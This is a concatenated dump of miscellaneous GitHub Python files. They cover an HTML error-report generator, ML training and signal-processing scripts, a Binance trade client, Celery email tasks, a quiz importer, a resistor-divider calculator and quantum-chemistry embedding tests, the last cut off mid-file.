name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n        <link\n            href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css\"\n            rel=\"stylesheet\"\n            integrity=\"sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We\"\n            crossorigin=\"anonymous\"\n            />\n        <link rel=\"stylesheet\" href=\"https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/css/bootstrap.min.css\">\n        <script src=\"https://cdn.jsdelivr.net/npm/jquery@3.5.1/dist/jquery.slim.min.js\"></script>\n        <script src=\"https://cdn.jsdelivr.net/npm/popper.js@1.16.1/dist/umd/popper.min.js\"></script>\n        <script src=\"https://cdn.jsdelivr.net/npm/bootstrap@4.6.1/dist/js/bootstrap.bundle.min.js\"></script>\n        </head>\n        <body style=\"background-color: rgb(243, 240, 235);\">\n        <div class=\"container\">\n        <br>\n        <h2 class=\"text-center\" style=\"font-weight: bold; color: rgb(36, 36, 179);\">Tabla de Errores</h2>\n        <br>\n        <h6 style=\"font-weight:600 ;\">A continuacion se presentan tabla de errores encontrados en el lenguaje:</h6>\n        <table class=\"table table-hover\">\n            <thead class=\"thead-dark\">\n        <tr>\n        <th class=\"text-center\">Descripcion</th>\n        <th class=\"text-center\">fila</th>\n        <th class=\"text-center\">COLUMNA</th>\n        </tr>\n        </thead>\n        <tbody>'''\n        for error in self.listaErrores:\n            texto +='''\n        <!-- ASI SE CREA UNA FILA -->\n        <tr>\n            <td class=\"text-center\">'''+error.descripcion+'''</td>\n            <td class=\"text-center\">'''+str(error.fila)+'''</td>\n            <td class=\"text-center\">'''+str(error.columna)+'''</td>\n        </tr>   '''\n        texto +='''\n        </tbody>\n        </table>\n        <br>\n                    \n        </body>\n        <hr>\n        <footer>\n            <h5 style=\"text-align: right; font-weight: bolder;\">Josue Gramajo - 202000895</h5>\n            <h6 style=\"text-align: right; font-weight: bold;\">Reporte generado:'''+time.ctime()+'''</h6>\n        </footer>\n        </html>\n        '''\n        mensaje = texto \n        f.write(mensaje)\n        f.close()\n\n        webbrowser.open_new_tab('ReporteErrores.html')","repo_name":"Ijosuer/LFP_PY1_202000895","sub_path":"Proyecto1/Analizador.py","file_name":"Analizador.py","file_ext":"py","file_size_in_byte":12622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"26257087317","text":"import os\nimport json\n\n\ndef load_env() -> None:\n    # in the prod workflow, GitHub secrets will pre-load the env vars for us\n    # https://docs.github.com/en/actions/reference/encrypted-secrets\n    # but locally, we have to source the env vars ourselves\n    ENV_FILE = \"env.json\"\n    if os.path.isfile(ENV_FILE):\n        with open(ENV_FILE) as f:\n            env_vars = json.load(f)\n\n        for var_name, val in env_vars.items():\n            os.environ[var_name] = val\n","repo_name":"tngzng/follow_4_follow","sub_path":"scripts/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16933991259","text":"from data import get_dataset\nfrom model import features,classifier,metrics\nimport tqdm\n# from model import get_features,classifier\n\npath=\"random_split/\"\n\ntest,val,train =get_dataset.get_df(path)\n\n#Due to limitation of computing capacities, we will only consider the 1000 most important classes\nclasses=features.get_classes_top1000(train)\n#apply those changes to train, test, val\ntest=features.reduce_dataset_1000topclasses(test,classes)\ntrain=features.reduce_dataset_1000topclasses(train,classes)\nval=features.reduce_dataset_1000topclasses(val,classes)\n\n#Process inputs \ntrain_processed=features.process_dataset(train, classes)\ntest_processed=features.process_dataset(test, classes)\nval_processed=features.process_dataset(val, classes)\nprint(train_processed.shape)\nprint(test_processed.shape)\nprint(val_processed.shape)\n\ntrain_2=features.additional_process(train_processed)\nval_2=features.additional_process(val_processed)\ntest_2=features.additional_process(test_processed)\n\nprint(train_2.shape)\nprint(test_2.shape)\nprint(val_2.shape)\n#Process labels\ny_train=features.process_labels(train,classes)\ny_test=features.process_labels(test,classes)\ny_val=features.process_labels(val,classes)\nprint(y_train.shape)\nprint(y_test.shape)\nprint(y_val.shape)\n\nmodel=classifier.build_model()\nprint(model.summary())\n\nhistory=classifier.train_model(model,train_processed,y_train,val_processed,y_val,model_name=\"protcnn\")\n\nclassifier.plot_accuracy_train_val(history)\n\nresult=model2.evaluate(test_2,y_test)","repo_name":"MarionSauvage/Pfam","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"3740628016","text":"import sys\nsys.stdin = open('sample_input.txt')\n\nT = int(input())\n\nfor tc in range(1, T+1):\n    N = int(input())\n    numbers = list(map(int, input()))\n    empty_list = []\n\n    for num in numbers:\n        empty_list.append(numbers.count(num))\n\n    num_count = max(empty_list)\n\n    for number in numbers:\n        if numbers.count(number) == num_count:\n            if numbers.count(number) == 1:\n                print(f'#{tc} {max(numbers)} {num_count}')\n            else:\n                print(f'#{tc} {number} {num_count}')\n            break\n\n\n\n","repo_name":"liljw/TIL","sub_path":"Algorithms/swea/4834_숫자카드/sol.py","file_name":"sol.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"16603395641","text":"\"\"\"\nДана последовательность натуральных чисел.\nНайти последовательность подряд идущих чисел,\nчтобы их сумма была максимальной и делилась на 100\n\"\"\"\nwith open('27A.txt') as f:\n    n = int(f.readline())\n    s = 0\n    max_sum = 0\n    mods = [20 ** 5] * 1000\n    for _ in range(n):\n        x = int(f.readline())\n        s += x\n        if s % 1000 == 0:\n            max_sum = max(max_sum, s)\n        else:\n            max_sum = max(max_sum, s - mods[s % 1000])\n        mods[s % 1000] = min(mods[s % 1000], s)\nprint(max_sum)\n","repo_name":"sweeteri/solutions","sub_path":"27tasks/subsequences/27.1.py","file_name":"27.1.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"9733194725","text":"\nfrom datetime import timedelta,datetime\nimport pandas as pd\nimport  requests\nfrom typing import List\n\n\nclass RestDao:\n    def __init__(self, address=None):\n        self.address = address\n\n    def get_trades(self, symbol, from_id):\n        r = requests.get('https://api.binance.com/api/v3/aggTrades',\n            params = {\n                \"symbol\": symbol,\n                \"limit\": 100,\n                \"fromId\": from_id\n        })\n        return r.json()\n\n    def get_first_trade_id_from_start_time(self, symbol, start_time):\n        end_time = start_time + timedelta(seconds = 60)\n        r = requests.get('https://api.binance.com/api/v3/aggTrades',\n            params={\n                'symbol' : symbol,\n                \"startTime\" : self.get_unix_ms(start_time),\n                \"endTime\" : self.get_unix_ms(end_time)\n            })\n        response = r.json()\n        if len(response) > 0:\n            return response[0]['a']\n        else:\n            raise Exception('No trades found')\n\n    @staticmethod\n    def get_unix_ms(time):\n        return int(time.timestamp()*1000)\n\n    def process_data(self, column_name: List[str], data)-> pd.DataFrame :\n        df = pd.DataFrame(data)\n        df = df[['a','p','q']]\n        df.a = df.a.astype(float)\n        df.p = df.p.astype(float)\n        df.q = df.q.astype(float)\n        df.columns = column_name\n        return df\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"webclinic017/Super-mini-hedge-fund","sub_path":"restdao.py","file_name":"restdao.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41093214728","text":"from MRS.settings import SITE_EMAIL\nfrom celery import shared_task\nfrom time import sleep\nfrom django.core.mail import send_mail, EmailMessage\nfrom django.conf import settings\nfrom MRS.celery import app\n\n@app.task(name=\"send_staff_email_notification_task\")\ndef send_staff_email_notification_task(email, name):\n    try:\n        from_email = settings.SITE_EMAIL\n        subject = \"Account Created\"\n        message = f\"Hello {name}, your account has been created successfully  , Your Employee Number is emp/ld/2022\"\n        mail = EmailMessage(\n            subject,\n            message,\n            from_email,\n            [email]\n        )\n        mail.content_subtype = \"html\"\n        mail.send(fail_silently=False)\n    except Exception as e:\n        raise e\n\n@app.task(name=\"send_student_email_notification_task\")\ndef send_student_email_notification_task(email, name):\n    try:\n        from_email = settings.SITE_EMAIL\n        subject = \"Account Created\"\n        message = f\"Hello {name}, your account has been created successfully  , Your Login password is @Lodamscollegestudent2022\"\n        mail = EmailMessage(\n            subject,\n            message,\n            from_email,\n            [email]\n        )\n        mail.content_subtype = \"html\"\n        mail.send(fail_silently=False)\n    except Exception as e:\n        raise e     ","repo_name":"mutungapeter/Lodams","sub_path":"main/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22472432254","text":"#!/usr/bin/python3\n\nimport sys\nimport numpy as np\nimport wave\nfrom scipy.signal import decimate, correlate\nfrom scipy.stats import mode\nimport os\n\ndef read_wav_file(filepath):\n    wave_read = wave.open(filepath, mode = 'rb')\n    length = wave_read.getnframes()\n    sample_rate = wave_read.getframerate()\n    \n    if wave_read.getsampwidth() == 1:\n        type = np.uint8\n    elif wave_read.getsampwidth() == 2:\n        type = np.int16\n    elif wave_read.getsampwidth() == 4:\n        type = np.int32\n    else:\n        type = np.int16\n        \n    data = np.frombuffer(wave_read.readframes(length), count = wave_read.getnchannels() * length, dtype = type)\n    if wave_read.getnchannels() >= 2:\n        data = np.reshape(data, (length, wave_read.getnchannels()))\n    wave_read.close()\n    return sample_rate, data\n\ndef fft(signal):\n    n = len(signal)\n    signal_fft = np.fft.fft(signal)\n    signal_fft = np.abs(signal_fft)\n    \n    signal_fft = signal_fft * 2 / n\n    signal_fft[0] = signal_fft[0] / 2\n    return signal_fft\n\n#harmonic product spectrum\ndef hps(signal, sample_rate):\n    n = len(signal)\n    signal = fft(signal)\n    \n    n_harmonics = 4\n    signal = signal[:len(signal)//2]\n    result_signal = signal\n    for i in range(2, n_harmonics + 1):\n        downsampled = decimate(signal, i)\n        result_signal = result_signal[:downsampled.shape[0]] * downsampled\n    \n    i_begin = int(60 * n / sample_rate)\n    \n    return (np.argmax(result_signal[i_begin:]) + i_begin) * sample_rate / n\n\n#cross correlation\ndef cross_correlation(signal, sample_rate):\n    window_len = len(signal)\n    window = signal\n    window = window - np.mean(window)\n    \n    result = correlate(window, window, method = 'fft')\n    \n    high = sample_rate//300\n    left = window_len - 1 + high\n    right = window_len + sample_rate//60\n    result = result[left:right]\n    return sample_rate / (np.argmax(result) + high)\n\ndef classify_file(sample_rate, data, method = hps):\n    if len(data.shape) == 1:\n        result = method(data, sample_rate)\n    else:\n        result1 = method(data[:, 0], sample_rate)\n        result2 = method(data[:, 1], sample_rate)\n        result = (result1 + result2) / 2\n    \n    if result > 175:\n        return 'K'\n    else:\n        return 'M'\n\ndef decision_tree_classification(w, signal):\n    if(len(signal.shape)==2 and signal.shape[1]==2):\n        signal = [s[0] for s in signal]\n    signum=abs(np.fft.fft(signal))[:len(signal)//2]\n\n    conn=(w/(len(signum)*2))\n    d1=int(60//conn)\n    d2=int(290//conn+1)\n\n    dp=signum[d1:d2]*conn\n    kv=sum(dp)\n    asum=0\n\n    p3=[0]*3\n    for jj in range(len(dp)):\n        asum+=dp[jj]\n        for ij in range(1,4):\n            if (asum>kv*ij*0.25 and p3[ij-1]==0):\n                p3[ij-1]=jj*conn\n\n    mode=(np.argmax(dp)+d1)*conn\n\n    summa=0\n    if (p3[0]<70):\n        if (mode>207):\n            cl='K'\n        else:\n            cl='M'\n\n    elif (mode>=200):\n        if (p3[0]<90):\n            cl='M'\n        else:\n            cl='K'\n    elif (p3[0]>95):\n        cl='K'\n    else:\n        cl='M'\n    return cl\n\ntry:\n    filepath = str(sys.argv[1])\n    sample_rate, data = read_wav_file(filepath)\n    result1 = classify_file(sample_rate, data, method = hps)\n    result2 = classify_file(sample_rate, data, method = cross_correlation)\n    result3 = decision_tree_classification(sample_rate, data)\n    result = mode([result1, result2, result3])[0][0]\nexcept:\n    result = 'M'\nprint(result)\n\n\n","repo_name":"JonothorDarry/kacykowanie","sub_path":"signals/inf136770_inf136834_ensemble.py","file_name":"inf136770_inf136834_ensemble.py","file_ext":"py","file_size_in_byte":3438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20856463177","text":"from os import listdir, mkdir\nfrom os.path import isdir, isfile, join\nimport shutil\nimport sys\n\nfrom flask import current_app as app\nimport yaml\n\nfrom ..model import (\n    Categories, CategoryQuestion, QuestionsAll,\n    Questions, Quizes\n)\nfrom .. import db\nfrom . import Utils\nfrom .question import QuestionFactory\n\n\nclass QuizFactory:\n\n    def get_quiz(self, quiz_type):\n        class_name = 'Quiz' + quiz_type[:1].upper() + quiz_type[1:]\n        cls = getattr(sys.modules[__name__], class_name)\n        return cls()\n\n    def get_quiz_from_dir(self, from_dir, new_update='new'):\n        quiz_def = QuizImport().get_quiz_def(from_dir)\n        quiz = self.get_quiz(quiz_def['type']['name'])\n        quiz.import_from_dir(from_dir, new_update, quiz_def)\n        return quiz\n\n    def get_actual_quiz(self, full=False):\n        res = db.session.query(Quizes.quiz_type).order_by(Quizes.quiz_id.desc()).first()\n        if res:\n            quiz = self.get_quiz(res.quiz_type)\n            quiz.load(full=full)\n        else:\n            quiz = QuizBase()\n        return quiz\n\n\nclass QuizImport:\n    \"\"\"\n    Class used by importing quiz from github repo directory\n    \"\"\"\n    import_dir = ''\n    questions_dir = 'questions'\n    pictures_dir = 'pictures'\n    app_files_dir = ''\n\n    def __init__(self):\n        with app.app_context():\n            self.import_dir = app.config['IMPORT_DIR']\n            self.app_files_dir = join(app.root_path, app.config['FILES_DIR'])\n\n    def get_dirs(self):\n        \"\"\"\n        Get all github directories from import directory\n\n        Returns:\n            list: directory names\n        \"\"\"\n        result = []\n        for f in listdir(self.import_dir):\n            if isdir(join(self.import_dir, f)) and isdir(join(self.import_dir, f, '.git')):\n                result.append(f)\n        result.sort()\n        return result\n\n    def get_quiz_def(self, from_dir):\n        \"\"\"\n        Get definition in quiz.yaml from github repo directory\n\n        Args:\n            from_dir (str): github repo directory\n        Returns:\n            dict: quiz definition\n        \"\"\"\n        from_dir = join(self.import_dir, from_dir)\n        with open(join(from_dir, 'quiz.yaml'), 'r') as stream:\n            return yaml.safe_load(stream)\n        return {}\n\n    def get_question_def(self, from_dir, file_name):\n        \"\"\"\n        Get definition in question yaml from github repo directory\n\n        Args:\n            from_dir (str): github repo directory\n            file_name (str): name of the question file\n        Returns:\n            dict: question definition\n        \"\"\"\n        from_dir = join(self.import_dir, from_dir, self.questions_dir)\n        try:\n            with open(join(from_dir, file_name), 'r') as stream:\n                return yaml.safe_load(stream)\n        except Exception as ex:\n            app.logger.error(str(ex))\n        return {}\n\n    def import_file(self, from_dir, file_name, subdir):\n        path_from = join(self.import_dir, from_dir, self.pictures_dir, file_name)\n        if isfile(path_from):\n            path_to = join(self.app_files_dir, subdir)\n            if not isdir(path_to):\n                mkdir(path_to)\n            shutil.copyfile(path_from, join(path_to, file_name))\n\n\nclass QuizBase:\n    _model = Quizes\n    quiz_id = None\n    quiz_type = None\n    categories = []\n    categories_count = 0\n    questions = []\n    questions_count = 0\n    from_dir = None\n    author = None\n    status = None\n    individual = 0\n\n    def get_db_obj(self):\n        res = self._model()\n        Utils.set_vars(res, self)\n        return res\n\n\nclass QuizDefault(QuizBase):\n    title = None\n    time_limit = None\n    random_order = 0\n\n    def __init__(self):\n        self.quiz_type = 'default'\n        self.categories = []\n        self.categories_count = 0\n        self.questions = []\n        self.questions_count = 0\n\n    def load(self, full=False):\n        \"\"\"\n        Load quiz from database\n\n        Args:\n            full (boolean): True - load also categories and questions, False - only main attributes\n        \"\"\"\n        if (self.quiz_id):\n            quiz = db.session.query(self._model).filter_by(quiz_id=self.quiz_id).first()\n        else:\n            quiz = db.session.query(self._model).order_by(self._model.quiz_id.desc()).first()\n        self.__dict__.update(quiz.__dict__)\n        if full:\n            self.load_questions()\n            self.questions_count = len(self.questions)\n            self.categories_count = self.categories.count()\n        else:\n            self.categories_count = db.session.query(Categories).filter_by(quiz_id=self.quiz_id).count()\n            self.questions_count = db.session.query(QuestionsAll).filter_by(quiz_id=self.quiz_id).count()\n\n    def load_questions(self):\n        \"\"\"\n        Load quiz questions and categories from database\n        \"\"\"\n        self.questions = []\n        self.categories = []\n        if self.quiz_id:\n            self.categories = db.session.query(Categories).filter_by(quiz_id=self.quiz_id)\n            number = 1\n            qs = db.session.query(QuestionsAll).filter_by(quiz_id=self.quiz_id).order_by(\n                QuestionsAll.category_id, QuestionsAll.question_id\n            )\n            for question in qs:\n                question.number = number\n                self.questions.append(question)\n                number += 1\n\n    def import_from_dir(self, from_dir, new_update='new', quiz_def=None):\n        \"\"\"\n        Load quiz attributes from github repo directory\n\n        Args:\n            from_dir (str): github repo directory\n            new_update (str): new - load as new quiz, update - load last quiz from database and update attributes\n        \"\"\"\n        if (from_dir):\n            self.from_dir = from_dir\n            import_obj = QuizImport()\n            if new_update != 'new':\n                self.load()\n            # update attributes from yaml\n            if not quiz_def:\n                quiz_def = import_obj.get_quiz_def(from_dir)\n            self.title = quiz_def['title']\n            self.author = quiz_def['author']\n            self.time_limit = quiz_def['time_limit']\n            self.random_order = int(quiz_def['type']['options']['random_order'])\n            if 'individual' in quiz_def['type']['options']:\n                self.individual = int(quiz_def['type']['options']['individual'])\n\n            # get categories and questions\n            self.categories = []\n            self.questions = []\n            for category in quiz_def['type']['options']['categories']:\n                cc = Categories(name=category['name'])\n                if 'picture' in category:\n                    cc.picture = category['picture']\n                cc._questions = category['questions']\n                self.categories.append(cc)\n                if 'questions' in category and category['questions']:\n                    for question_file in category['questions']:\n                        question_def = import_obj.get_question_def(from_dir, question_file)\n                        if question_def:\n                            question = QuestionFactory().get_question(question_def['type']['name'])\n                            question._file = question_file\n                            question.task = self.parse_text(question_def['task'])\n                            question.answer = question_def['answer']\n                            for i in ('title', 'picture', 'answer_picture', 'time_limit'):\n                                if i in question_def:\n                                    setattr(question, i, question_def[i])\n                            self.questions.append(question)\n                        else:\n                            app.logger.error('{} not loaded'.format(question_file))\n\n        return True\n\n    def save(self, full=False):\n        \"\"\"\n        Save quiz in database\n\n        Args:\n            full (boolean): True - save also categories and questions, False - only main attributes\n        \"\"\"\n        is_update = self.quiz_id\n        if is_update:\n            quiz = db.session.query(self._model).filter_by(quiz_id=self.quiz_id).first()\n            Utils.set_vars(quiz, self)\n        else:\n            db_obj = self.get_db_obj()\n            db.session.add(db_obj)\n            db.session.flush()\n            db.session.refresh(db_obj)\n            self.quiz_id = db_obj.quiz_id\n        db.session.commit()\n\n        if full:\n            import_obj = QuizImport()\n            # questions\n            if is_update:\n                db.session.query(Questions).filter_by(quiz_id=self.quiz_id).delete()\n            for question in self.questions:\n                question.quiz_id = self.quiz_id\n                question.save()\n                if question.picture:\n                    import_obj.import_file(self.from_dir, question.picture, str(self.quiz_id))\n                if question.answer_picture:\n                    import_obj.import_file(self.from_dir, question.answer_picture, str(self.quiz_id))\n\n            # categories\n            if is_update:\n                db.session.query(Categories).filter_by(quiz_id=self.quiz_id).delete()\n            for category in self.categories:\n                if is_update:\n                    db.session.query(CategoryQuestion).filter_by(category_id=category.category_id).delete()\n                category.quiz_id = self.quiz_id\n                db.session.add(category)\n                db.session.flush()\n                if category.picture:\n                    import_obj.import_file(self.from_dir, category.picture, str(self.quiz_id))\n                if category._questions:\n                    for question in self.questions:\n                        if question._file in category._questions:\n                            db.session.add(CategoryQuestion(\n                                question_id=question.question_id,\n                                category_id=category.category_id\n                            ))\n\n        db.session.commit()\n\n    def get_next_question(self, question_id=None):\n        if question_id:\n            res = db.session.query(QuestionsAll).filter(\n                QuestionsAll.quiz_id == self.quiz_id, QuestionsAll.question_id > question_id\n            ).order_by(QuestionsAll.question_id.asc()).first()\n        else:\n            qq = db.session.query(QuestionsAll).filter_by(quiz_id=self.quiz_id).order_by(QuestionsAll.question_id.asc())\n            res = qq.first()\n        return res\n\n    def get_next_category(self, question_id=None):\n        question = self.get_next_question(question_id)\n        if question.category_id:\n            return db.session.query(Categories).filter_by(category_id=question.category_id).first()\n        return None\n\n    def parse_text(self, text):\n        return text.replace('\\n', '<br>')\n","repo_name":"leistnerova/virt-pubquiz","sub_path":"virt_pubquiz/utils/quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":10745,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32192784921","text":"import eseries as es\nfrom engineering_notation import EngNumber\n\n\"\"\"\nThis module helps to select resistor values for voltage dividers\n\nIn the simplest case, the devider is made up of two resistors. R1 and R2, where\none R1 terminal is connected to Vin and the node between R1 and R2 is Vout.\n\n\"\"\"\ndef resdiv_r1(Vin, Vout, R2):\n    \"\"\"\n    Calculate the exact value of R1 with R2 given.\n    \"\"\"\n    return R2 * (Vin/Vout - 1)\n\ndef resdiv_r2(Vin, Vout, R1):\n    \"\"\"\n    Calculate the exact value of R1 with R2 given.\n    \"\"\"\n    return R1 / (Vin/Vout - 1)\n\ndef resdev_vout(Vin, R1, R2):\n    \"\"\"\n    Calculate Vout with given R1, R2 and Vin\n    \"\"\"\n    return Vin * R2 / (R1 + R2)\n\ndef r1_p_r2(R1, R2):\n    \"\"\"\n    Calculate the Resistance of a parallel connection\n    \"\"\"\n    return R1 * R2 / (R1 + R2)\n\ndef resdev_rout(R1, R2):\n    \"\"\"\n    Calculate the output resistance of the voltage devider\n    \"\"\"\n    return r1_p_r2(R1, R2)\n\ndef calc_rp(R, Rp):\n    \"\"\"\n    Calculate a parallel resistor to match R (R = Rp//Rx)\n    \"\"\"\n    if R >= Rp : return None\n    return R * Rp / (Rp - R)\n\ndef resdev_r1_r2(Vin, Vout, Rout_min = 1, Rout_max = 10, eser = es.E24):\n    \"\"\"\n    Returns the best matchin resistor pair of (R1, R2) with a given output\n    resistance range and E-Series\n    \"\"\"\n    best_match_r2 = None\n    best_match_r1 = None\n    vdiv_err_best = Vin\n\n    for r2 in es.erange(eser, Rout_min, Rout_max):\n        r1 = es.find_nearest(eser, resdiv_r1(Vin, Vout, r2))\n        rout = resdev_rout(r1, r2)\n        if rout < Rout_min : continue\n        if rout > Rout_max : break\n        vdiv_err = abs(resdev_vout(Vin, r1, r2) - Vout)\n        if vdiv_err < vdiv_err_best:\n            vdiv_err_best = vdiv_err\n            best_match_r1 = r1\n            best_match_r2 = r2\n            if vdiv_err_best == 0.0 : break\n\n    return (best_match_r1, best_match_r2)\n\ndef resdev_r1_2r2(Vin, Vout, Rout_min = 1, Rout_max = 10, eser = es.E24):\n    \"\"\"\n    Returns the best matching resistor combination of (R1, R2_1, R2_2)\n    with a given output resistance range and E-Series.\n    R2_1 and R2_2 are connected in parallel.\n    \"\"\"\n    best_match_r2_1 = None\n    best_match_r2_2 = None\n    best_match_r1 = None\n    vdiv_err_best = Vin\n\n    for r2_1 in es.erange(eser, Rout_min, Rout_max * 2):\n        if r2_1 == Rout_min or r2_1 == Rout_max : continue\n        for r2_2 in es.erange(eser, calc_rp(Rout_min, r2_1), r2_1 * 1000):\n            r2 = r2_1 * r2_2 / (r2_1 + r2_2)\n            r1 = es.find_nearest(eser, resdiv_r1(Vin, Vout, r2))\n            rout = resdev_rout(r1, r2)\n            if rout < Rout_min : continue\n            if rout > Rout_max : break\n            vdiv_err = abs(resdev_vout(Vin, r1, r2) - Vout)\n            if vdiv_err < vdiv_err_best:\n                vdiv_err_best = vdiv_err\n                best_match_r1 = r1\n                best_match_r2_1 = r2_1\n                best_match_r2_2 = r2_2\n\n    return (best_match_r1, best_match_r2_1, best_match_r2_2)\n\ndef calc_resdev(Vin, Vout, Rout_min = 1, Rout_max = 10, Err_max = 1, eser = es.E24):\n    R1, R2 = resdev_r1_r2(Vin, Vout, Rout_min, Rout_max, eser)\n    err = resdev_vout(Vin, R1, R2) - Vout\n    err_percent = abs(err)/Vout*100\n    if err_percent <= Err_max:\n        print(\"Resistor divider with two Resistors:\")\n        print(\"R1: {}, R2: {}\".format(str(EngNumber(R1)), str(EngNumber(R2))))\n        print(\"Vout error: {:.3f}% ({}V)\".format(err_percent, str(EngNumber(err))))\n        print(\"Output resistance: {}\\n\".format(str(EngNumber(resdev_rout(R1, R2)))))\n    R1, R2_1, R2_2 = resdev_r1_2r2(Vin, Vout, Rout_min, Rout_max, eser)\n    err = resdev_vout(Vin, R1, r1_p_r2(R2_1, R2_2)) - Vout\n    err_percent = abs(err)/Vout*100\n    if err_percent <= Err_max:\n        print(\"Resistor divider with three Resistors:\")\n        print(\"R1: {}, R2: {}//{}\".format(str(EngNumber(R1)), str(EngNumber(R2_1)), str(EngNumber(R2_2))))\n        print(\"Vout error: {:.3f}% ({}V)\".format(err_percent, str(EngNumber(err))))\n        print(\"Output resistance: {}\".format(str(EngNumber(resdev_rout(R1, r1_p_r2(R2_1, R2_2))))))\n    else:\n        print(\"Cannot find a solution for given parameters\")","repo_name":"alexanderwachter/eecalc","sub_path":"resdev.py","file_name":"resdev.py","file_ext":"py","file_size_in_byte":4133,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"74416324487","text":"import unittest\nfrom functools import partial\n\nimport numpy as np\nfrom ddt import data, ddt, unpack\nfrom qiskit.algorithms.minimum_eigensolvers import NumPyMinimumEigensolver\nfrom qiskit_nature.second_q.algorithms import GroundStateEigensolver\nfrom qiskit_nature.second_q.drivers import MethodType, PySCFDriver\nfrom qiskit_nature.second_q.mappers import ParityMapper\nfrom qiskit_nature.second_q.transformers import ActiveSpaceTransformer\nfrom qiskit_nature.settings import settings\n\nfrom dft_embedding_solver import DFTEmbeddingSolver\n\nsettings.tensor_unwrapping = False\nsettings.use_pauli_sum_op = False\nsettings.use_symmetry_reduced_integrals = True\n\n\ndef filter_criterion(\n    eigenstate,\n    eigenvalue,\n    aux_values,\n    expected_num_particles,\n    expected_angular_momentum,\n):\n    eval_num_particles = aux_values.get(\"ParticleNumber\", None)\n    if eval_num_particles is None:\n        return True\n    num_particles_close = np.isclose(eval_num_particles[0], expected_num_particles)\n\n    eval_angular_momentum = aux_values.get(\"AngularMomentum\", None)\n    if eval_angular_momentum is None:\n        return num_particles_close\n    angular_momentum_close = np.isclose(\n        eval_angular_momentum[0], expected_angular_momentum\n    )\n\n    return num_particles_close and angular_momentum_close\n\n\n@ddt\nclass TestDFTEmbeddingSolver(unittest.TestCase):\n    \"\"\"Tests for the `DFTEmbeddingSolver`.\"\"\"\n\n    def test_demo_example(self):\n        \"\"\"Test the example provided in the `demo.py` file of this repo.\"\"\"\n        omega = 1.0\n\n        driver = PySCFDriver(\n            atom=\"O 0.0 0.0 0.115; H 0.0 0.754 -0.459; H 0.0 -0.754 -0.459\",\n            basis=\"6-31g*\",\n            method=MethodType.RKS,\n            xc_functional=f\"ldaerf + lr_hf({omega})\",\n            xcf_library=\"xcfun\",\n        )\n\n        active_space = ActiveSpaceTransformer(4, 4)\n\n        mapper = ParityMapper(num_particles=(2, 2))\n        solver = NumPyMinimumEigensolver()\n        solver.filter_criterion = lambda state, val, aux: np.isclose(\n            aux[\"ParticleNumber\"][0], 4.0\n        )\n        algo = GroundStateEigensolver(mapper, solver)\n\n        dft_solver = DFTEmbeddingSolver(active_space, algo)\n\n        result = dft_solver.solve(driver, omega)\n\n        self.assertAlmostEqual(result.total_energies[0], -75.93044878549, places=6)\n\n    def test_hf_limit(self):\n        \"\"\"Test that the embedding converges to the HF value for large omega.\"\"\"\n        omega = 10000.0\n\n        driver = PySCFDriver(\n            atom=\"H 0.0 0.0 0.0; H 0.0 0.0 0.735\",\n            basis=\"sto-3g\",\n            method=MethodType.RKS,\n            xc_functional=f\"ldaerf + lr_hf({omega})\",\n            xcf_library=\"xcfun\",\n        )\n\n        active_space = ActiveSpaceTransformer(2, 2)\n\n        mapper = ParityMapper(num_particles=(1, 1))\n        solver = NumPyMinimumEigensolver()\n        solver.filter_criterion = partial(\n            filter_criterion,\n            expected_num_particles=2,\n            expected_angular_momentum=0,\n        )\n        algo = GroundStateEigensolver(mapper, solver)\n\n        dft_solver = DFTEmbeddingSolver(active_space, algo)\n\n        result = dft_solver.solve(driver, omega)\n\n        ref_problem = ActiveSpaceTransformer(2, 2).transform(driver.run())\n        ref_result = algo.solve(ref_problem)\n\n        self.assertAlmostEqual(\n            result.total_energies[0], ref_result.total_energies[0], places=5\n        )\n\n    def test_dft_limit(self):\n        \"\"\"Test that the embedding converges to the DFT value for small omega.\"\"\"\n        omega = 0.01\n\n        driver = PySCFDriver(\n            atom=\"H 0.0 0.0 0.0; H 0.0 0.0 0.735\",\n            basis=\"sto-3g\",\n            method=MethodType.RKS,\n            xc_functional=f\"ldaerf + lr_hf({omega})\",\n            xcf_library=\"xcfun\",\n        )\n\n        active_space = ActiveSpaceTransformer(2, 2)\n\n        mapper = ParityMapper(num_particles=(1, 1))\n        solver = NumPyMinimumEigensolver()\n        solver.filter_criterion = partial(\n            filter_criterion,\n            expected_num_particles=2,\n            expected_angular_momentum=0,\n        )\n        algo = GroundStateEigensolver(mapper, solver)\n\n        dft_solver = DFTEmbeddingSolver(active_space, algo)\n\n        result = dft_solver.solve(driver, omega)\n\n        self.assertAlmostEqual(\n            result.total_energies[0], result.hartree_fock_energy, places=5\n        )\n\n    @unpack\n    @data(\n        (\n            \"O 0.0 0.0 0.115; H 0.0 0.754 -0.459; H 0.0 -0.754 -0.459\",\n            